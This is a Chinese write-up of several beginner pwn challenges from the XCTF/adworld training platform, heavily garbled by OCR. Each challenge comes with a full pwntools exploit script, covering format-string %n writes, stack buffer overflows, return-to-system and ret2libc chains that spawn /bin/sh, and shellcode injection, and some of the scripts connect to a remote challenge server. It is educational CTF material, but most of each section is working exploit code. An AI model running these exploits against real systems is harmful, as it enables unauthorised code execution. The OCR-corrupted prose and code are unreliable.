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FERARL

CGfsb

o FRHMME: https:/adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
o FRYME, FflehdBE,
: t LSB ut

linked, interpreter /lib/ld-, for GNU/Linux

o 32fuK3C A, HidaiTiF, FSEF A,

1fint _ cdecl main(int argc, const char **argv, const char **envp)

2

3| int buf; // [esp+lEh] [ebp-7Eh]

4| int v5; f/ [esp+22h] [ebp-7Ah]

5| __intl6 v6; ff [esp+26h] [ebp-76h]

6| char s; f/ [esp+28h] [ebp-74h]

7| unsigned int v8; // [esp+8Ch] [ebp-16h]
8

9 v8 = _ readgsdword(8x14u);

10| setbuf(stdin, @);

11| setbuf(stdout, 8);
12| setbuf(stderr, 8);

13| buf = @;

14| v5 = @;

15| v6 = @;

16| memset(&s, @, @x64u);

17| puts("please tell me your name:");
18| read(®, &uf, OxAu);

19) puts("leave your message please:");
20| fgets(&s, 100, stdin);

21| printf("hello %s", &buf);

22| puts("your message is:");

23| printf(&s);

24/ if ( pwnme == 8 )

25| {

26 puts{"you pwned me, here is your flag:\n");
27 system("cat flag");

28| }

29| else

30| {

31 puts{"Thank you!");

32| }

33| return 8;

341}

o printffEiF: hitps:/mwww.cnblogs.com/cfans1993/articles/5619134.html
o B

o KR Bpwnmel¥jithht

o EpwnmeffIHiht 5 Bls B H

o printfir 8N ETT, AR5 FH %nit8 5 A\ Flpwnme B TH

o IR
o FlHidaBE R Blpwnmelilt, H0x804a068
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dd ?

The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /fhome/tiumo/cgfsb

leave your message please:
aaaa

hello abcd

your message is:

Breakpoint 1, 0x880486cd in main ()

(gdb) x/16wx Sesp

Oxbffffeoe: axbffffezs oxbffffole 0xb7fbb5ad oxeefabsff
Oxbffffele: Oxbffffode 0x00000001 0x000000c2 Bx626196bb
Oxbffffezoe: Ox000a6463 0x00000000 Ox61616161 Ox0000000a
Oxbffffe3e: Ox00000000 0x00000000 0x00000000 0x00000000

o Hjiipayload: (pwnmedtil) +'aaaa"+"'%10$n"

e pwntools:

from pwn import *

context.log level = ‘'debug’
DEBUG = int(sys.argv[1])

if DEBUG ==
p = process('./cgfsb"')
else:
p = remote('111.198.29.45"',58350)

pwnme_addr = Ox0804A068

payloadl = "aaaa"
payload2 = p32(pwnme_addr) + 'aaaa%le$n’

p.recvuntil('please tell me your name:\n')
p.sendline(payloadl)

p.recvuntil('leave your message please:\n')
p.sendline(payload2)

print p.recv()
print p.recv()

your message is:
h\xa®\xBaaaa

you pwned me, here is your flag:

cyberpeace{23b4e0027904831777a74a362bcfdd1d}

When did you born
o fRR



:/media/sT_files# file 4d334fa0laf64e72977d83d532906dbb
4d334fd01dfﬁ4r?297?duod532906dbb ELF 64-bit LSB executable, x86-64, version 1 (

SYSV), dynamically linked, interpreter /lib64/1d-linux-x86-64 .2, Tor GNU/Linu

X 2.6.32, BuildID[shal]=718185b5ec9c26eb9aeccfafab53678e34feebba, stripped

o BT

:/media/st_fTiles# ./4d334Ta@laft64e72977dB83d532906dbb
Your Birth?

Your Name?

You Speed One
| 5 s# ./4d334fa0lated4e72977d83d532906dbb
5 Your Bltth7

s Your Name?
Are Born In ©

Are Naive.
You Speed One ond Here.

:/media/sft files# ./4d334Ta@laf64e72977d83d532906dbb
What's Your Birth?

s Your Name?
fasdf
You Are Born In 2818
You
You S
./4d334fa0lafte4e72977d83d532906dbb
What'
asdfa
What's Your Name?
asfaf
You Are Born In 4196144
You Are Naive.
You Speed One Second Here.

o DAEERILHmHARED, 6% T192656& 2lflag, HZHHE —AHIB, AikiHA1926

8 wvo = _ readfsqword(@x28u);

9 setbuf(stdin, @LL);

10| setbuf(stdout, @LL);

11| setbuf(stderr, @LL);

12| puts("What's Your Birth?");

13| is0c99 scanf("%d", &v5);

14| while ( getchar() != 10 )

b L -

16| if ( v5 == 1926 )

17 {

18 puts("You Cannot Born In 1926!");
19 result = BLL;

200 }

21| else

221 {

23 puts("What's Your MName?");

24 gets(&vd);

25 printf("You Are Born In #d\n", v5);
26 if ( v5 == 1926 )

27 {

28 puts{"You Shall Have Flag.");
29 system("cat flag");

30 }

31 else

17 iy

o DA, WK
Oﬁﬁiﬁﬂﬂ,ﬁﬁ¢ﬁﬂ%mﬁﬁ

r_ai_ 1.7 _Aannnaarcrcanacrnaces L



o A4 Fabcdefghijk

[stack] :@@e07FFF57097AE0 db 61h ;
[stack] :@@e07FFF57097AE1 db 62h ;
[stack] :@@e07FFF57097AE2 db 63h ;
[stack] :@@e07FFF57097AE3 db 64h ;
[stack]:@@e07FFF57097AE4 db  65h ;
[stack] :@@e@07FFF57097AE5 db  67h ;
[stack] :@@e07FFF57097AE6 db 66h ;
[stack] :@@e07FFF57097AE7 db 68h ;
[stack] :9P@O7FFF57097AES dw
[stack] :0@@07FFF57097AEA db 6Bh ; k

o BRNAMNERE TV5, FrARMNEMIEKIpayloadis N i% & 8chars+\x86'+\x07"

=00 M S ™ O W

-]

¢ pwntoolsfti%

from pwn import *

p=remote(ip,port)

p.sendafter('Your Birth?',str(@)+'\n")
p.sendafter(' Your Name?','a'*8+p64(1926))
p.interactive()

# python when.py
[+] Opening connection to 111.198.29.45 on port 39590: Dongs
[#] Switching to interactive mode

You Are Born In 1926

You Shall Have Flag.
cyberpeace{e985502a41bfacfca7a6ecb2a96a57ce}
[#] Got EOF while reading in interactive

hello_pwn
. T?RF&(K%}%DAQE%&EE’» BB —NREAHT Brflag, Edy4 Nshowflag

1| inted4 fastcall main(__int64 al, char
24
3 alarm(@x3Cu);
4| setbuf(stdout, @LL);
5/ puts("~~ welcome to ctf ~e "y
6| puts("lets get helloworld for bof");
7| read(®, &unk 6010868, @x18ulLL);
8| if ( dword 6@106C == 1853186401 )
9 showflag();
(@] return @LL;
1}

o B4R, HEHEdword_60106CHE 18531864015 AT LA T, RATKI, %iNaaaaaaaaaaaaaaaaa, HH—Hor&EE
dword_60106C, FfrLhpayload#I#% = B iZ% 2 4chars+1853186401
.bss5:0000000000601068 unk_ 601068 db 61h ; & ; DATA XREF: main+3BfTo
.bss5:0000000000601069 db 61h ;
.bss5:000000000060106A db 61h ;
.bss5:000000000060106B db 61h ;
.bs5:000000000060106C dword 60106C dd 61616161h ; DATA XREF: main+4Aftr

o o @

e pwntoolsftAg



from pwn import *

p = process("./637f5c201bf94c128c8c22e4d6e9cef3™)
p.sendline('a'*4+p32(1853186401))

p.interactive()

o AR
:~# python hello.py
[+] Starting local process './637T5c201bfT94cl28c8c22e4dbedcef3’:
[#] Switching to interactive mode
n come to ctf ~~
ets get helloworld for bof
at: flag.txt: ;@8
[#] Got EOF while reading in interactive

o LiE

pid 4041

:~# python hello.py
[+] Opening connection to 111.198.29.45 on port 38661: Done
[#] Switching to interactive mode
~~ welcome to ctf -~
lets get helloworld for bof
cyberpeace{766c7T2fa81685386bT1921445¢c629f5}
[#] Got EOF while reading in interactive

levelO

o RERY
cksec 8185ea305b6d4011bdd9el7ecaladdff
[*] '/root/0185ea305b6d4011bdd9el7eca3addff"
Arch: amd64-64-1ittle
RELRO:
Stack:
NX:
PIE:

o RIC%JE R PcallsystemZ B T shell

e wulnerable_functioned 7 7E AR i HHIRTH, % 878 %5 1R [FI{E

TIUY 7 F I TEELALD S

0101010101 010101

JO0@7FFFO8E4AAACE 6161616161616161
“““““ /FFF98E4AACE 6161616161616161
“““““ /FFFO8E4AADG 6161616161616161
“““““ /FFF98E4AADE  6161616161616161
“““““ /FFFO98E4AAEG 6161616161616161
“““““ /FFFO8E4AAEE  6161616161616161
“@”@TFFF’SEihiFM 6161616161616161
6161616161616161
JOOB7FFFO8EAAS00 6363636362626262
®@®7FFF98E4H5@8 000000000040050A . text:0000000000404
JOOO7FFFOBE4AS10 ©OOBOTFFFI8E4A608 [stack]:00007FFFI8E

o HiAN128/ aflibbbbcccc/a, FILAEE|, Wi FikigE bk, Frllpayloadtk X k128+84 char+callsystemi ik

e expill T



from pwn import *

p = remote('111.198.29.45"',54531)

elf = ELF("./levelo")

sysaddr = elf.symbols['callsystem']
payload = 'a'*(0x80 + 8) + p64(sysaddr)
p.recv()

p.send(payload)

p.interactive()

:~# python hello.py
[+] Opening connection to 111.198.29.45 on port 54531:
[#] '/root/levelo’
Arch: amd64-64-1ittle
RELRO:
Stack:
NX :

PIE:
[*] Switching to interactive mode

level2
o BERERFHRY

'Jroot/level

Arch:
RELRO:
Stack:
NX :
PIE:
o DAEERICHNAED, F7EH M H IR
ssize_t vulnerable_function()
I
| char buf; //
b

system("echo Input:");
)| return read(®, &uf, Bx100u);
i

3 e T 7ﬁsystemzléﬁﬂ"/bl nsh"F/F e

I e S
=1

's'l . data:08- 00000008 C fblnfsh

o expill F



from pwn import *

elf = ELF('./level2")
sys_addr = elf.symbols['system']
sh_addr = elf.search('/bin/sh").next()

payload "A' * (Ox88 + Ox4) + p32(sys_addr) + p32(oxdeadbeef) + p32(sh_addr)
#io = remote('111.198.29.45',40579)

io = process("./level2")

io.sendlineafter("Input:\n",payload)

io.interactive()

io.close()

guess num

o BEFRA
:~# Tile guess
-bit LSE pie utable, x86-64, version 1 (SYSV), dynamically link

pi
er /l1ib64/1d-1inux-x86-64.s0.2, for GNU/Linux 2.6.32, BuildID[shal]
=c5689a0b4458c068Tb51e3a2cl67bl12c3ba7323, stripped

RERT R
:~# checksec
[#] '/root/guess’
Arch: amd64-6
RELRO:

Stack:

et me know your name!

- name:tiumo
Turn:1
Please input your gu

o DARICH%



18| unsigned __inted v11; // [rsp+38h] [rbp-8h]
11
12| w1l = _ readfsqword(®x28u);
12| setbuf(stdin, @LL);

14| setbuf(stdout, @LL);

15| wv3 = stderr;

16| setbuf(stderr, OLL);

17| v6 = @;
18| v8 = @;

19) *(_QWORD *)seed = sub_BB@(v3, @QLL);

20| puts("-----------"-- ");
21| puts("Welcome to a guess number game!");
220 puts("---------m ");

23| puts("Please let me know your namel!");
24| printf("Your name:");

25 gets(&v9);

26| v4 = (const char *)seed[@];

27| srand(seed[@]);

28 for (1 =0; 1 <= 9; ++1 )

29 {

30 v = rand() % 6 + 1;

31 printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));
32 printf("Please input vour guess number:");
33 __is0c¢99 scanf("%d", &vo);

34 puts("----------- e "y;
35 if (v 1= vE )

36 {

37 puts("GG!");

38 exit(1);

39 ¥

40 vd = "Success!";

41 puts("Success!");

421}

43| sub C3E(v4);
A4 return OLL;
45}

o WUEER, BREFHL—ABEIE, T HEYBEIF T RIEGetsZ FIH, HTUATAIATREAHL 2B diseed
*(_QWORD *)seed = sub_BB@();

putS(“ _______________________________ 11)-:
puts(“Welcome to a guess number game!");
putS(“ _______________________________ 11)-:

puts(“Please let me know your name!");
printf("Your name:", OLL);

gets(&v7);

srand(seed[@]);

o WMEK, WLUAKIM, #iAnamefisLal LLE 5 Flseed
[stack]:00007FFDO55DA3EF db 61h ;
[stack]:eeee7FFDe55DA3Fe db 61h ;
[stack]:00007FFDO55DA3F1 db 61h ;
[stack]:@0007FFDB55DA3F2 db 61h ;
fe+ark1-000A7FFNAGENARF2 AR A1h -

o exp: ({&¥ H Hsendafterfrecvuntil#E ARz, RGFF3h7T)

L L W W



from pwn import *
from ctypes import *

elf = ELF('./guess")

libc = cdll.LoadLibrary("/1ib/x86_64-1inux-gnu/libc.so.6")
io = process('./guess"')

#io = remote("111.198.29.45",58174)

payload = 32 * 'a' + p64(1)
io.sendafter("Your name:", payload)

libc.srand(1)

for i in range(10):
num = str(libc.rand()%6+1)

print num+

io.interactive()

rting local proce ./guess': pid 2907
2 6 2 5 1 4 2 Switching to interactive mod

cgpwn2
o KAEMRY



:~# Tile cgpwnz
gpwn2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically 1i
wked, interpreter /lib/1ld-linux.so0.2, for GNU/Linux 2.6.24, BuildID[shal]=86982e
aB585ab1b30762b8479a607 1dbT584559, not stripped
:~# checksec cgpwn2
*] '/root/cgpwn2’
Arch: 1386-32-1little

RELRO: al RELRD
Stack:
NX:

o RiC%
35 Vs = oy,

34| puts(“"please tell me your name");

35| fgets(name, 50, stdin);

36/ puts("hello,you can leave some message here:");
37| return gets(&s);

38(}

°ﬁmﬂg%ﬂﬁﬁiﬁﬁwwm%ﬁ,@%&F%mm?ﬁ$,@%wm&%%éﬁm,ﬁMﬂu%ﬁE?$mﬂ
nameZ & B

* exp

from pwn import *

elf = ELF('./cgpwn2')
io = process('./cgpwn2')
#io = remote("111.198.29.45",58174)

payload = 42 * 'a' + p32(elf.symbols['system']) + p32(@xdeadbeef) + p32(0x0804A080)
shstr = "/bin/sh"

io.recvuntil("name"
io.sendline(shstr)
io.recvuntil("here:")
io.sendline(payload)

io.interactive()

int overflow

o HERY
i _files# mv 8c5T4e234bag4g
- dia/sf_files# checksec intover
[*] '/media/sf files/intover'
Arch: i386-32-little
RELRO: Partial RELRO
Stack:
NX:
PIE:

: /media/sf_files# ||




~~ Welcome to CTF!
1.Login

Your choice:1
Please input your username:

valid Password

o RiL%, KRB —ANRBCEHE BrflagitiThae T, ERIFEEHIFM, WLERREILEH, EHERERRLHT,
%ﬁ?ﬂ3%ﬁ$&EHM%Twm%ﬁ,ﬁi%ﬁé&%,ﬁEE%%%i,y?ﬁ$%wmmwﬁmc
whnat_ls_thls

1 1 1

unsigned _ int8 v3; // [esp+Fh] [ebp-2h]

v3 = strlen(s);

(I | - - LY

result = strcﬁ:;f(&des:, s);

O%ﬁﬁm:m?m%wﬁ,ﬁmw%&,ﬁﬂﬂ%&%ﬁ%ﬁ%ﬁ&gy%ﬁ&gﬁm,ﬁ%mmommﬂ&¢%§58
AN

o HHIREIMAEE R (KE263)
FFC3FABS
FFC3FABC
FECAIFACA  ARTIARTARTAT

o payload#3: 0x14-/ char + 4/ ~char + #ihit (544 -char) + Oxeb/>char
e exp

from pwn import *

elf = ELF('./intover'")
io = process('./intover")
#io = remote("111.198.29.45",51548)

io.recvuntil("choice:")

io.sendline('1")

io.recvuntil("username:")

io.sendline("aaa")

io.recvuntil("passwd")

io.sendline('a'*0x14 + 'a'*4 + p32(elf.symbols['what_is this']) + @xea*'a')
io.interactive()

:~# python hello.py
'/root/intover'

RELRO:

Stack:

NX :

PIE:
] Starting local process './intover': pid 2774
*] Switching to interactive mode

here is flag
[*] Got EOF while reading in interactive




o EEMAIM. hitps://mww.cnblogs.com/pwn2web/p/11164417 html

string
o HERY

:~# checksec string
[*] '/root/string’
Arch: amd64-64-1ittle
RELRO:
Stack:
NX:

o RICH, RIM—-MERFRFBRIF, — ok b o Ha st
puts("Your wish is");

printf(&format, &format);
puts("I hear it, I hear it..

reaulg, v.i, OUXLlUguLL),

((void (__fastcall *)(_QWORD, void *))vl)(eLL, v1);

o TAITHEEshellcodeBEAVIELAILL T
o i, WAIEEat[0al[1]—H
if ( *al == al[1] )

o alfE b —QEHRR—AMRE
"(_DWORD *)al)

o altptR&EmainF iivd, HEiRvV3, FATET secret[01#5 R Hhht
o XHEFPIEV2E AVI[O)FHitl, 2R/5EEH b ZR/RF 8RR, 7Ev3[0]F 5 A85, f#v3[0]==v3[1]
%ﬁ@@ﬁ?&?%ﬁﬁ,ﬁ%§%7

heard

Your wish is

aaa,739d97e3,739da8c0, 73907504, 739df540,0,0,0,2c616161 78252c78,252c7825,2c78252c,78252c78,252c7825,2c7825
2c,1c6c0078,4008a0,1c6c3el10,0I hear it, I hear=rerem

................ on has appeared!!
Dragon say: HaHa! vou were supposed to have a normal


https://www.cnblogs.com/pwn2web/p/11164417.html

from pwn import *

#io = remote('111.198.29.45','41410")

io = process("./string")
io.recvuntil("secret[0] is ")

v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("character's name be:")
io.sendline("tiumo")

io.recvuntil("east or up?:")
io.sendline("east")

io.recvuntil("there(1), or leave(®)?:")
io.sendline("1")

io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7%$n")

context(log_level = 'debug', arch = 'amdé4', os = 'linux')
shellcode=asm(shellcraft.sh())

io.recvuntil ("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()

eceived 0x3d bytes:
¥LinuxAdditions. run "UEUNN3450\\ 2050\ 254\ 345\ 205",
> ''$'%345\2054254%345\205\ 261"
0x2d bytes:
'\ 345\\2
'14'3\345\23
] Received @x2d bytes:
flag\thtit "TEUNN3460\\2260\\207 3\ 3464241243 ' \n"
' EN346\226\207346\241,243"'
] Received @xe7 bytes:
hello.py\t\t "N 3460\\ 2410\ 2140\ 35144,2354,,242 ' \n"
Linux_server\t\t '1$'\\346\1250\\241\\346\\235\\277 "' \n"
linux servers4\t\t PR UANZSONN 247NN 2060\ 3510\ 242\ 221"
stringi\tytht " UAN3EINA23TAN26300\, 3440\ 2710\ 220 ' \n"
"GNNI AANN 270N\ 213\ \350\\275\\275" ' \n"
hello.py "U$\346,241\214\351\235\242"'
linux_serve "5\ 346%250,,241,346\235\277"
linux serveré "TE\350\247\206\351\242\221"
string "4 \351\237\263\344\271\220"'
"UE\344N\270\213\350,275\275"

33\NZ276\\347\\211\\207 ' \n"
3N276\347\211\207'

=
\

level3
o EEERP



:~# checksec level3
[*]1 '/root/level3
Arch: i386-32-1little
RELRO: Partial RELRO

Stack:
NX:
PIE:

o RICH, 1RE A MIHRE H
ssize_t vulnerable_function()

{

char buf; // [esp+Bh] [ebp-88h]

write(1, "Input:\n", 7u);
return read(@, &buf, ©xl1eeu);
}

o GOTEREPLTE: hitps://blog.csdn.net/qq_18661257/article/details/54694748
o ret2libcBid: https:/blog.csdn.net/guilani/article/details/61921481
o exp (ARHIAREHAT, EIZMBEFLL, AxERt2)

#-*-coding:utf-8-*-
from pwn import *

#io = process('./level3")

io = remote('111.198.29.45',55186)
elf = ELF('./level3")

libc = ELF('./1libc_32.s0.6")

write_plt = elf.plt['write']
vul_addr = elf.symbols['vulnerable_function']
got_addr = elf.got['write']

payloadl="a"*0x88 + 'aaaa' + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
io.recvuntil("Input:\n")

io.sendline(payloadl)

write_addr = u32(io.recv(4))

print write_addr

libc_write = libc.symbols['write']

libc_system = libc.symbols['system']

libc_sh = libc.search('/bin/sh").next()

system_addr = write_addr + (libc_system-libc_write) #FHHX}HihE i+ B seit
sh_addr = write_addr + (libc_sh-1ibc_write)

payload2 = 'a'*@x88 + 'aaaa' + p32(system_addr) + 'aaaa' + p32(sh_addr)
io.recvuntil("Input:\n")

io.sendline(payload2)

io.interactive()


https://blog.csdn.net/qq_18661257/article/details/54694748
https://blog.csdn.net/guilanl/article/details/61921481
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